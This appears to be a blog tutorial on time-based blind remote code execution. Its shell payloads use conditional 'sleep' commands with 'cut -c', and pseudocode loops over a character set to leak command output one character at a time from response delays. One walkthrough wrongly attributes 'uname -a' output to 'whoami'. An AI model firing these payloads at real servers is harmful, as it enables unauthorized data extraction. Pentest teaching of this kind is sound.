What is Remote Code Execution (RCE)?

Remote Code Execution (RCE) is a type of security vulnerability that allows an attacker to run arbitrary code on a remote server or system without permission. When a web application doesn’t properly sanitize user input or exposes insecure endpoints, attackers can inject commands or scripts that the system unknowingly executes.

This is one of the most critical vulnerabilities because if successfully exploited, it can lead to:

  • Full server compromise
  • Data theft or loss
  • Malware installation
  • Privilege escalation
  • Complete system takeover

RCE can happen in many forms, from simple command injection to complex deserialization or insecure eval functions in code. In some cases, the output of the command is visible, making exploitation easier. But in other situations, attackers do not see any output at all. This is known as Blind RCE.

Even more challenging is when Blind RCE relies on response delays. This type of attack is called Time-Based Blind RCE, which we will focus on in this tutorial.

Blind RCE and Time-Based Blind RCE

In many cases, when you run a command on a remote system through RCE, the system sends back the result immediately, like showing you the output of whoami or a directory listing. This makes it easier for an attacker to confirm the vulnerability and gather information.

However, sometimes the system does not send back any output. This is called Blind RCE, because you are blind to the result of your command.

So how can you confirm or extract data without seeing the output? One common method is to use time-based techniques.

Time-Based Blind RCE works by making the server delay its response based on the command you send. For example, if your payload tells the server to sleep or pause for 10 seconds only when a certain condition is true, you can measure the time it takes for the server to respond. If the response is delayed, it means the condition was met, confirming the vulnerability or revealing hidden data without ever seeing the output directly.

This technique is very powerful for extracting data from systems that try to hide or block direct command output.

This payload is one of the building blocks of time-based blind RCE in our pentesting journey. The whoami command here is just an example, you can replace it with any command you want to extract.

Let’s say the vulnerable server is running as the ubuntu user.

whoami → ubuntu

Character positions:
1 2 3 4 5 6
u b u n t u
  • The first command checks if the first letter of the whoami output is "a", but It's not, the first letter is "u", so the condition is false and the response is fast.
  • But if you change it to check against the correct letter, it triggers the sleep:


# False — why? Because 'a' is not the first letter of the output of `whoami`, which is 'ubuntu'.
ubuntu@DESKTOP:~$ if [ "$(whoami | xargs | cut -c 1)" = "a" ]; then sleep 10; fi  # ❌ False, returns instantly


ubuntu@DESKTOP:~$ if [ "$(whoami | xargs | cut -c 1)" = "u" ]; then sleep 10; fi  # ✅ True, sleeps 10s
ubuntu@DESKTOP:~$ if [ "$(whoami | xargs | cut -c 2)" = "b" ]; then sleep 10; fi  # ✅ True, sleeps 10s
ubuntu@DESKTOP:~$ if [ "$(whoami | xargs | cut -c 3)" = "u" ]; then sleep 10; fi  # ✅ True, sleeps 10s
ubuntu@DESKTOP:~$ if [ "$(whoami | xargs | cut -c 4)" = "n" ]; then sleep 10; fi  # ✅ True, sleeps 10s
ubuntu@DESKTOP:~$ if [ "$(whoami | xargs | cut -c 5)" = "t" ]; then sleep 10; fi  # ✅ True, sleeps 10s
ubuntu@DESKTOP:~$ if [ "$(whoami | xargs | cut -c 6)" = "u" ]; then sleep 10; fi  # ✅ True, sleeps 10s

Each of these will delay the response only if the condition is true, that’s how you leak data one character at a time without actually seeing the output.

This is the core of time-based blind RCE: relying on response delays to infer sensitive values.

Let’s say you want to extract the result of 'uname -a' from a vulnerable server using time-based RCE. Manually testing one character at a time like we did with whoami would be extremely slow, especially with long outputs like:

# uname -a
Linux DESKTOP-HN7A2FC 5.15.167.4-microsoft-standard-WSL2 1 SMP Tue Nov 5 00:21:55 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux

Using this character set:

chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()-_=+|[]{};:/?.>" # 90 Characters

If you want to know the first character in the output of 'uname -a' (which is L in Linux DESKTOP-HN7A2FC ...), your script will test each character from the set like this:

chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()-_=+|[]{};:/?.>"
command = "uname -a"
delay = 10
extracted_string = ""

for position from 1 to max_length:
    found_char = false

    for each char in chars:
        send payload: if [ "$(%s | xargs | cut -c %d)" = "%s" ]; then sleep %d; fi % (command, position, char, delay)

        if server response delayed by delay:
            extracted_string += char
            found_char = true
            break

    if not found_char:
        break  # end of output

print "Extracted string:", extracted_string

Brute-Force Each Character Position

What really happen behind, on the server is finding 1st, 2nd, 3rd, 4th, 5th char. You loop through possible character positions and try all possible characters until the right one causes a delay (e.g., 10 seconds). That delay tells you “this character matched”.

 if [ "$(whoami | xargs | cut -c 1)" = "A" ]; then sleep 10; fi  # ❌ False,
 if [ "$(whoami | xargs | cut -c 1)" = "B" ]; then sleep 10; fi  # ❌ False,

 if [ "$(whoami | xargs | cut -c 1)" = "L" ]; then sleep 10; fi  # ✅ True, sleeps 10s
 ...
 if [ "$(whoami | xargs | cut -c 1)" = "Y" ]; then sleep 10; fi  # ❌ False,
 if [ "$(whoami | xargs | cut -c 1)" = "Z" ]; then sleep 10; fi  # ❌ False,

Then for the 2nd character (which is 'i'):

 if [ "$(whoami | xargs | cut -c 2)" = "A" ]; then sleep 10; fi  # ❌ False,
 if [ "$(whoami | xargs | cut -c 2)" = "B" ]; then sleep 10; fi  # ❌ False,
 ...
 if [ "$(whoami | xargs | cut -c 2)" = "a" ]; then sleep 10; fi  # ❌ False,
 if [ "$(whoami | xargs | cut -c 2)" = "b" ]; then sleep 10; fi  # ❌ False,
 ...
 if [ "$(whoami | xargs | cut -c 2)" = "i" ]; then sleep 10; fi  # ✅ True, sleeps 10s
 ...
 if [ "$(whoami | xargs | cut -c 2)" = "Y" ]; then sleep 10; fi  # ❌ False,
 if [ "$(whoami | xargs | cut -c 2)" = "Z" ]; then sleep 10; fi  # ❌ False,

and so on... until you get

 # uname -a
 Linux DESKTOP-HN7A2FC 5.15.167.4-microsoft-standard-WSL2 1 SMP Tue Nov 5 00:21:55 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux

Final Python Repository

All the logic we discussed in this blog, from brute-forcing each character of a command output using time delays, to simulating real-world time-based blind RCE attack is implemented in my Python repository:

This tool sends crafted payloads to a vulnerable server and waits for a response delay (e.g. 10 seconds) to determine the correctness of each guessed character. It continues this process until the full string is extracted or no matching character is found exactly as we’ve demonstrated step by step.

Enjoying the tools? Consider supporting the project!

☕ Buy Me a Coffee

Or you can support via GCash:

GCash QR Code

Got feedback or want to collaborate?
Reach out to us at: thejolotoproject@gmail.com

GitHub YouTube PlayStore